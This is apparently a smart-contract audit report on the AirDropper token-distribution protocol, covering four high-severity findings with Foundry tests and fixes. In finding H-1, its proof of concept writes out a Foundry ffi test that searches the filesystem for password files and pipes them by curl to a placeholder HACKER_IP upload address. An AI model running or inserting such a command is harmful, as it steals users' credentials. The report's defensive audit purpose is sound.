Airdropper Audit Report

Version 1.0

Ardeshir Gholami

June 14, 2024

Airdropper Audit Report

Ardeshir Gholami

14 June 2024

Prepared by: Ardeshir Lead Auditors: - 4rdii

Table of Contents

Protocol Summary

AirDropper is a gas optimized protocol built to assist with token distribution on the zkSync Era chain.

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

~~~
## Scope

```bash
 ./src/
-- MerkleAirdrop.sol
./script/
-- Deploy.s.sol
~~~

Roles

Onwer - The one who can withdraw the fees earned by the claim function.

Executive Summary

Issues found

Severity	number of issues found
High	4
Medium	0
Low	0
Info	0
Total	4

Findings

High Risk Findings

[H-1] Malicious Test Uses ffi Access Can Cause Data Extraction

Description: The `MerkleAirdropTest.t.sol::testPwned()` as the name suggests uses a ffi access in `foundry.toml` to execute arbitrary commands on the user's machine.

```
    function testPwned() public {
        string[] memory cmds = new string[](2);
        cmds[0] = "touch";
        cmds[1] = string.concat("youve-been-pwned");
        cheatCodes.ffi(cmds);
    }
}
```

Impact: The current test is not harmful as it just creates an empty file, but it can be used to do harm to users and steal private keys or potentialy removing important information.

Proof of Concept: here is one simple way that hacker can steal data from user:

```
function testFindCommand() public {
    string[] memory cmds = new string[](3);
    cmds[0] = "bash";
    cmds[1] = "-c";
    cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<
        HACKER_IP>/upload";
    cheatCodes.ffi(cmds);
}
```

Recommended Mitigation: Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

[H-2] Any of Four Airdrop Recievers Can Empty the Contract

Description: The contract doesnt use a mapping to store if a user has claimed the airdrop as a result any of the four users can claim until the contract is empty.

Impact: This will cause other users to loose airdroped money!

Proof of Concept: Add this test to existing test suit.

```
function testAnyOfWinnersCanGetTheWholeMoney() public {
        uint256 startingBalance = token.balanceOf(collectorOne);
        vm.deal(collectorOne, 5 * airdrop.getFee());

        vm.startPrank(collectorOne);
        //call the claim 4 times
        while (token.balanceOf(address(airdrop)) > 0) {
            airdrop.claim{value: airdrop.getFee()}(
                collectorOne,
                amountToCollect,
                proof
            );
        }

        vm.stopPrank();

        uint256 endingBalance = token.balanceOf(collectorOne);
        assertEq(endingBalance - startingBalance, 4 * amountToCollect);
    }
```

Recommended Mitigation: One simple way to fix this is to add a claimed mapping and update it when someone claims their airdrop.

```
contract MerkleAirdrop is Ownable {
    .
    .
    .
+   error MerkleAirdrop__AlreadyClaimed();
+   mapping(address => bool) private claimed;
    .
    .
    .
    function claim(
        address account,
        uint256 amount,
        bytes32[] calldata merkleProof
    ) external payable {
        if (msg.value != FEE) {
            revert MerkleAirdrop__InvalidFeeAmount();
        }
+       if (claimed[account]) {
             revert MerkleAirdrop__AlreadyClaimed();
+       }
        bytes32 leaf = keccak256(
            bytes.concat(keccak256(abi.encode(account, amount)))
        );
        if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
            revert MerkleAirdrop__InvalidProof();
        }
        emit Claimed(account, amount);
+       claimed[account] = true;
        i_airdropToken.safeTransfer(account, amount);
    }
    .
    .
    .
}
```

Or you can use the method used by uniswap and add an Index to merkle hashing alghorithm and then store the index in a mapping:

Uniswap Example Contract:

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.17;

import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/
   utils/SafeERC20.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/
   MerkleProof.sol";
import {IMerkleDistributor} from "./interfaces/IMerkleDistributor.sol";

error AlreadyClaimed();
error InvalidProof();

contract MerkleDistributor is IMerkleDistributor {
    using SafeERC20 for IERC20;

    address public immutable override token;
    bytes32 public immutable override merkleRoot;

    // This is a packed array of booleans.
    mapping(uint256 => uint256) private claimedBitMap;

    constructor(address token_, bytes32 merkleRoot_) {
        token = token_;
        merkleRoot = merkleRoot_;
    }

    function isClaimed(uint256 index) public view override returns (bool) {
        uint256 claimedWordIndex = index / 256;
        uint256 claimedBitIndex = index % 256;
        uint256 claimedWord = claimedBitMap[claimedWordIndex];
        uint256 mask = (1 << claimedBitIndex);
        return claimedWord & mask == mask;
    }

    function _setClaimed(uint256 index) private {
        uint256 claimedWordIndex = index / 256;
        uint256 claimedBitIndex = index % 256;
        claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
    }

    function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof)
        public
        virtual
        override
    {
        if (isClaimed(index)) revert AlreadyClaimed();

        // Verify the merkle proof.
        bytes32 node = keccak256(abi.encodePacked(index, account, amount));
        if (!MerkleProof.verify(merkleProof, merkleRoot, node)) revert InvalidProof();

        // Mark it claimed and send the token.
        _setClaimed(index);
        IERC20(token).safeTransfer(account, amount);

        emit Claimed(index, account, amount);
    }
}
```

[H-3] Deployer Contract Uses Wrong USDC Address

Description: The address in the deploy contract is wrong and does not point to ZKsync Era USDC contract. - Used Address = 0x1D17CbCf0D6d143135be902365d2e5E2a16538d4 - Corr Address =

0x1d17CBcF0D6D143135aE902365D2E5e2A16538D4

```
contract Deploy is Script {
@>  address public s_zkSyncUSDC = 0
    x1D17CbCf0D6d143135be902365d2e5E2a16538d4;
    bytes32 public s_merkleRoot = 0
        xf69aaa25bd4dd10deb2ccd8235266f7cc815f6e9d539e9f4d47cae16e0c36a05
        ;
    // 4 users, 25 USDC each
    uint256 public s_amountToAirdrop = 4 * (25 * 1e6);
    .
    .
    .
}
```

Impact: If the protocol is deployed using this address, the resulting contract will always revert when trying to send the usdc to people calling the `claim` function.

Proof of Concept: Just search these addresses in ZKSync explorer: - Used Address - Correct Address

Recommended Mitigation: Just Use the correct Address!

[H-4] Wrong Decimal Points Used in `makeMerkle.js`

Description: in `makeMerkle.js` file the value for usdc decimals is set to `25 * 1e18` but because usdc has 6 decimal points, the final proof and even root will be diffrent.

```
    const { StandardMerkleTree } = require("@openzeppelin/merkle-tree")
    const fs = require("fs")

    /*//////////////////////////////////////////////////////////////
                                  INPUTS
    //////////////////////////////////////////////////////////////*/
@>  const amount = (25 * 1e18).toString()

    const userToGetProofOf = "0
        x20F41376c713072937eb02Be70ee1eD0D639966C"
```

Impact: This will cause users to fail to claim their airdrops.

Proof of Concept: Add this test to existing test suit:

```
    function testMerkleJsIsWrong() public {
        vm.deal(collectorOne, airdrop.getFee());

        vm.startPrank(collectorOne);
        vm.expectRevert();
        airdrop.claim{value: airdrop.getFee()}(
            collectorOne,
            amountToCollect,
            wrongProof
        );

        vm.stopPrank();
    }
```

Recommended Mitigation: fix the Decimal points in makeMerkle.js from 1e18 to 1e6.